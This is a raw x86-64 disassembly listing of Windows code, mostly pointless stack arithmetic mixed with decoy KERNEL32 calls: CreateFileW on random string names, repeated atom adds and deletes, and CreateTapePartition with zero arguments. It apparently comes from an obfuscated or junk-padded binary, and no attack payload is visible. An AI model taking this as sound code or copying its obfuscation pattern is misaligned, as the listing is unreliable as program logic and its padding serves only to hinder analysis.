mov ecx, dword [rsp + 0xabb4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xac18], eax
movsx eax, byte [rsp + 0x6f2]
movsx ecx, byte [rsp + 0x6f1]
add eax, ecx
mov rcx, qword [0x140363c58]
mov byte [rcx], al
movsx eax, word [rsp + 0x11cc]
movsx ecx, word [rsp + 0x2b88]
shl eax, cl
mov rcx, qword [rsp + 0x14790]
mov word [rcx], ax
movzx eax, byte [rsp + 0x65d]
mov byte [rsp + 0x700], al
movzx eax, word [rsp + 0x29cc]
movzx ecx, word [0x140362b7c]
sar eax, cl
mov rcx, qword [rsp + 0x14b08]
mov word [rcx], ax
lea rax, [rsp + 0xa938]
mov qword [rsp + 0x14c20], rax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x13248]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14970]
mov ecx, dword [rsp + 0xaa30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9688], eax
mov rax, qword [rsp + 0x13960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa644], eax
mov rax, qword [rsp + 0x13ad0]
mov rcx, qword [rsp + 0x14878]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x139b8]
mov dword [rcx], eax
lea rax, [0x14035cbfc]
mov qword [rsp + 0x14c28], rax
lea rax, [rsp + 0x4dc]
mov qword [0x140363d88], rax
mov eax, dword [rsp + 0xa808]
mov ecx, dword [rsp + 0x8414]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13690]
mov dword [rcx], eax
lea rax, [0x140363a1c]
mov qword [rsp + 0x14c30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x62
mov r9d, 0x3625
mov r8d, 0x98a12711
mov edx, 2
mov rcx, qword [rsp + 0x134b0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xad80], eax
mov r9d, 2
lea r8, [rsp + 0x13958]
mov rdx, qword [rsp + 0x13980]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaca0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.PBzvIgepbyTp6FGZcjPx09QA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14c38], rax
mov eax, dword [rsp + 0x81a0]
mov ecx, dword [rsp + 0x7970]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14928]
mov ecx, dword [rsp + 0xab20]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ba8]
movzx eax, word [rax]
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x14228]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c0]
add eax, ecx
mov byte [rsp + 0x6fc], al
mov r9d, 0x1446
xor r8d, r8d
lea rdx, [rsp + 0x13600]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
lea rax, [rsp + 0x6d2]
mov qword [rsp + 0x14c40], rax
movzx ecx, word [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd4], ax
movsx eax, word [rsp + 0x2ab4]
mov rcx, qword [rsp + 0x13b58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b0c], ax
lea rax, [rsp + 0x6304]
mov qword [0x140363d90], rax
mov rax, qword [rsp + 0x137d0]
mov ecx, dword [rsp + 0xaa48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14410]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b64]
mov word [rsp + 0x2be0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.wkZyInbUhHQfjLmyOW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14c48], rax
lea rdx, [rsp + 0x13a08]
mov rcx, qword [rsp + 0x13f58]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8f0], eax
mov rax, qword [rsp + 0x134b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x211]
add eax, ecx
mov byte [rsp + 0x43d], al
mov r9d, 2
lea r8, [rsp + 0x13980]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x147f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad84], eax
movzx ecx, word [rsp + 0x2a94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2994], ax
mov r9d, 2
lea r8, [rsp + 0x14220]
mov rdx, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x14130]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad88], eax
mov rax, qword [rsp + 0x133d0]
mov ecx, dword [rsp + 0x6650]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa60c], eax
mov rax, qword [rsp + 0x13a10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa868]
shr eax, cl
mov rcx, qword [rsp + 0x13ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13798]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6898]
shl eax, cl
mov dword [rsp + 0xaa60], eax
mov eax, dword [rsp + 0xa98c]
mov dword [rsp + 0xad8c], eax
mov rax, qword [0x140363cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f6]
xor eax, ecx
mov rcx, qword [rsp + 0x148e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362e1c], ax
lea rcx, str.PjU_Ijnci.Cm7_Rdnv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b80], ax
lea rcx, [rsp + 0x41c58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [0x14035cc2c]
mov ecx, dword [rsp + 0xaba0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8620], eax
mov rax, qword [rsp + 0x140b0]
mov rcx, qword [rsp + 0x137f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa30], eax
mov rax, qword [rsp + 0x13dd0]
mov eax, dword [rax]
mov dword [rsp + 0xad90], eax
mov rax, qword [rsp + 0x14080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab5c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c38]
mov rcx, qword [rsp + 0x13d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8dc], eax
mov rax, qword [rsp + 0x14140]
movzx eax, word [rax]
mov word [rsp + 0x2be4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.CF0y3dYBfHPU1_aSuuz_rgA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14c50], rax
movsx eax, byte [rsp + 0x6d5]
mov rcx, qword [0x140363a08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4ff], al
lea rax, [rsp + 0x282]
mov qword [rsp + 0x14c58], rax
mov rax, qword [rsp + 0x14308]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14bb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362cdc], ax
lea rcx, str.JaM.82iNQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b74], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x14a38]
mov rcx, qword [rsp + 0x13af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa944], eax
mov rax, qword [rsp + 0x13e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
mov rcx, qword [0x140363a10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3bb], al
mov rax, qword [rsp + 0x148f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2098]
sub eax, ecx
mov rcx, qword [rsp + 0x145f8]
mov word [rcx], ax
lea rax, [rsp + 0xa350]
mov qword [rsp + 0x14c60], rax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa9a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b88]
mov dword [rcx], eax
lea rdx, [rsp + 0x14c68]
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7b8], eax
mov eax, dword [rsp + 0xaba8]
mov rcx, qword [rsp + 0x13258]
mov qword [rsp + 0x14c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x142e0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2aac], ax
lea rax, [rsp + 0x6554]
mov qword [rsp + 0x14c78], rax
mov rax, qword [rsp + 0x13a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13850]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1403535a3], al
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0x147d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29d0], ax
lea rax, [rsp + 0x924c]
mov qword [rsp + 0x14c80], rax
mov rax, qword [rsp + 0x14628]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab90], eax
movsx eax, byte [rsp + 0x6ee]
movsx ecx, byte [rsp + 0x67]
and eax, ecx
mov byte [rsp + 0x400], al
mov rax, qword [rsp + 0x13108]
movzx eax, word [rax]
mov word [rsp + 0x2be8], ax
movzx ecx, word [rsp + 0x2ab0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ba8], ax
movzx eax, word [rsp + 0x2ba0]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x146e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [0x140363d00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad10]
mov dword [0x140363d84], eax
lea rax, [rsp + 0x870c]
mov qword [rsp + 0x14c88], rax
mov eax, dword [rsp + 0xad64]
mov ecx, dword [rsp + 0xa0d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f28]
mov rcx, qword [rsp + 0x14660]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f98], eax
mov rax, qword [rsp + 0x14a78]
movzx eax, word [rax]
mov word [rsp + 0x2bec], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.pAJqtRg5ylVGcdEbCtKsCCPzDsDyr_sjSgGwJ6qB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14c90], rax
movzx eax, byte [rsp + 0x6df]
movzx ecx, byte [rsp + 0x434]
sub eax, ecx
mov byte [rsp + 0x1d2], al
mov eax, dword [rsp + 0xabb8]
mov dword [rsp + 0xad94], eax
mov rcx, qword [rsp + 0x12f28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x75f0]
mov ecx, dword [rsp + 0x7dfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14608]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x13a08]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x14c48]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa92c], eax
mov rax, qword [rsp + 0x13b10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13840]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6788]
mov rcx, qword [rsp + 0x14a88]
mov qword [rsp + 0x14c98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c98]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14035cc18], eax
lea rax, [rsp + 0x209c]
mov qword [rsp + 0x14ca0], rax
movzx eax, byte [rsp + 0x6b7]
movzx ecx, byte [0x14035e4a4]
sar eax, cl
mov rcx, qword [rsp + 0x13870]
mov byte [rcx], al
lea rax, [rsp + 0x2af8]
mov qword [rsp + 0x14ca8], rax
mov rax, qword [rsp + 0x14a60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14aa8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x628], al
mov rax, qword [0x140363c08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaf4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaca4], eax
mov rax, qword [rsp + 0x13b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x852c], eax
mov rax, qword [rsp + 0x146e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14870]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x142c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x148c8]
movzx eax, byte [rax]
mov byte [rsp + 0x701], al
lea rax, [rsp + 0xab6c]
mov qword [0x140363d98], rax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a08], eax
mov rax, qword [rsp + 0x13a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14898]
mov dword [rcx], eax
lea rax, [rsp + 0xa9a4]
mov qword [rsp + 0x14cb0], rax
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ed0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29dc], ax
mov rax, qword [0x140363ae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c8]
or eax, ecx
mov byte [rsp + 0x53f], al
mov rax, qword [rsp + 0x13300]
mov ecx, dword [rsp + 0x8b00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14070]
mov dword [rcx], eax
lea rax, [rsp + 0xaae4]
mov qword [rsp + 0x14cb8], rax
mov rax, qword [rsp + 0x13b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8414]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac80], eax
mov rax, qword [rsp + 0x13760]
mov rcx, qword [rsp + 0x138b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140363d20], eax
mov eax, dword [rsp + 0xaae4]
mov ecx, dword [rsp + 0x9c30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13688]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad98], eax
lea rdx, [rsp + 0x14540]
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac8c], eax
mov rax, qword [rsp + 0x143e8]
movzx eax, byte [rax]
mov byte [rsp + 0x702], al
movsx eax, word [rsp + 0x11cc]
mov rcx, qword [rsp + 0x13428]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b18], ax
mov rax, qword [0x1403639e0]
movzx eax, word [rax]
mov word [rsp + 0x2bf0], ax
movzx eax, byte [rsp + 0x6b5]
mov rcx, qword [rsp + 0x13740]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x133f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13690]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14150]
mov qword [rsp + 0x14cc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14cc0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14338]
mov eax, dword [rax]
mov ecx, dword [0x140363b44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6af8], eax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [rsp + 0x464]
and eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
lea rax, [rsp + 0x2ba4]
mov qword [0x140363da0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.XrJhVwP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14cc8], rax
lea rax, [0x14035cc1c]
mov qword [rsp + 0x14cd0], rax
mov rax, qword [rsp + 0x13c98]
mov ecx, dword [rsp + 0x870c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9370], eax
mov rax, qword [rsp + 0x13b20]
mov ecx, dword [rsp + 0x66e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bd8], eax
lea rax, [rsp + 0xa2a4]
mov qword [rsp + 0x14cd8], rax
movzx eax, byte [rsp + 0x6ec]
movzx ecx, byte [rsp + 0x6e2]
add eax, ecx
mov rcx, qword [rsp + 0x146e8]
mov byte [rcx], al
lea rcx, [rsp + 0x41d18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r9d, r9d
lea r8, [rsp + 0x138f8]
mov rdx, qword [rsp + 0x12f98]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa934], eax
lea rcx, [rsp + 0x41d78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x29b8]
mov qword [rsp + 0x14ce0], rax
mov rax, qword [rsp + 0x149b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab3c], eax
lea rax, [rsp + 0x73c0]
mov qword [rsp + 0x14ce8], rax
movsx eax, byte [rsp + 0x6da]
mov rcx, qword [rsp + 0x13ab8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140363a08]
mov byte [rcx], al
movsx eax, word [rsp + 0x1410]
movsx ecx, word [rsp + 0x2a8c]
or eax, ecx
mov word [rsp + 0x2a5c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, word [rsp + 0x2b34]
movzx ecx, word [rsp + 0x1088]
sub eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
lea rax, [rsp + 0x6d9]
mov qword [rsp + 0x14cf0], rax
mov rax, qword [rsp + 0x14400]
mov eax, dword [rax]
mov ecx, dword [0x14035cc0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a24], eax
lea rax, [rsp + 0x8388]
mov qword [rsp + 0x14cf8], rax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab90], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14035cc18]
sar eax, cl
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2a60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2adc], ax
lea rcx, str.l2_0_DIvUIxf9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bcc], ax
mov rax, qword [rsp + 0x135b0]
mov eax, dword [rax]
mov dword [rsp + 0xad9c], eax
mov rax, qword [rsp + 0x133e0]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e48e]
shl eax, cl
mov rcx, qword [rsp + 0x139e0]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.oLAsqxHqlN1wHqehl5c1gG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14d00], rax
lea rax, [rsp + 0x22c8]
mov qword [0x140363da8], rax
movzx ecx, word [rsp + 0x2afc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b7c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab6c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7438], eax
mov rax, qword [rsp + 0x136c8]
mov ecx, dword [rsp + 0x6874]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa40], eax
mov rax, qword [rsp + 0x13818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xabb4], eax
mov eax, dword [rsp + 0xad24]
mov dword [rsp + 0xada0], eax
mov rax, qword [rsp + 0x14780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e0]
and eax, ecx
mov rcx, qword [rsp + 0x13f40]
mov byte [rcx], al
lea rax, [rsp + 0x2b2c]
mov qword [rsp + 0x14d08], rax
mov rax, qword [rsp + 0x14aa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13250]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x67], al
movsx eax, word [rsp + 0x2a90]
mov rcx, qword [0x140363a48]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a28]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363c30]
mov dword [rcx], eax
lea rax, [rsp + 0xa96c]
mov qword [rsp + 0x14d10], rax
movzx eax, byte [0x14035e4d4]
movzx ecx, byte [rsp + 0x53f]
sub eax, ecx
mov rcx, qword [rsp + 0x14018]
mov byte [rcx], al
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x14d18], rax
mov rax, qword [rsp + 0x14a88]
mov ecx, dword [rsp + 0xaae0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
mov rax, qword [0x140363cc0]
mov rcx, qword [rsp + 0x13450]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7bf0], eax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x85c0], eax
mov rax, qword [0x140363b60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13578]
mov qword [rsp + 0x14d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d20]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
lea rax, [rsp + 0x4f6]
mov qword [rsp + 0x14d28], rax
mov rax, qword [rsp + 0x13ae8]
movzx eax, word [rax]
mov word [0x140362eac], ax
mov rax, qword [rsp + 0x13898]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaaec]
shr eax, cl
mov dword [rsp + 0xab44], eax
lea rax, [rsp + 0xaa18]
mov qword [rsp + 0x14d30], rax
mov eax, dword [rsp + 0x96e4]
mov ecx, dword [rsp + 0xaabc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3e0], eax
mov rax, qword [0x140363ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaf8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa93c]
mov dword [rsp + 0xada4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac04], eax
mov rax, qword [rsp + 0x13250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x628]
add eax, ecx
mov rcx, qword [rsp + 0x147e0]
mov byte [rcx], al
lea rax, [rsp + 0x2a8c]
mov qword [rsp + 0x14d38], rax
movzx eax, byte [rsp + 0x166]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x58b], al
movzx eax, word [rsp + 0x2af0]
movzx ecx, word [rsp + 0x2a14]
sub eax, ecx
mov rcx, qword [0x140363ab8]
mov word [rcx], ax
lea rcx, [rsp + 0x41da8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13820]
mov rcx, qword [0x140363d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13358]
mov eax, dword [rax]
mov dword [rsp + 0xada8], eax
movzx eax, word [rsp + 0x2b6c]
movzx ecx, word [rsp + 0x26a8]
sub eax, ecx
mov rcx, qword [rsp + 0x13fa0]
mov word [rcx], ax
lea rax, [rsp + 0x6dd]
mov qword [rsp + 0x14d40], rax
mov rax, qword [0x1403639d8]
mov rcx, qword [rsp + 0x13c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa3c], eax
mov eax, dword [rsp + 0x66cc]
mov ecx, dword [rsp + 0xad14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69fc], eax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0x6ed4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13da8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x149e8]
mov rcx, qword [rsp + 0x136c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ed8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6c0]
movzx ecx, byte [0x140353583]
or eax, ecx
mov byte [0x14035359e], al
lea rax, [rsp + 0x2aa8]
mov qword [rsp + 0x14d48], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab10], eax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14a10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14168]
mov qword [rsp + 0x14d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d50]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13938]
mov dword [rcx], eax
lea rax, [rsp + 0xad94]
mov qword [rsp + 0x14d58], rax
movsx eax, byte [0x14035e4a5]
movsx ecx, byte [rsp + 0x5fd]
xor eax, ecx
mov byte [rsp + 0x6c8], al
movsx eax, word [rsp + 0x29f4]
movsx ecx, word [rsp + 0x21a0]
shl eax, cl
mov word [rsp + 0x2a74], ax
mov rax, qword [rsp + 0x14968]
movzx eax, word [rax]
mov word [rsp + 0x2bf4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
mov rax, qword [rsp + 0x13fe8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14948]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x61c], al
mov eax, dword [rsp + 0xac80]
mov ecx, dword [rsp + 0x66cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7364], eax
lea rax, [rsp + 0xacc4]
mov qword [0x140363db0], rax
mov rax, qword [rsp + 0x14810]
mov eax, dword [rax]
mov ecx, dword [0x140363d80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x86a8], eax
lea rdx, [rsp + 0x138f8]
mov rcx, qword [rsp + 0x14918]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
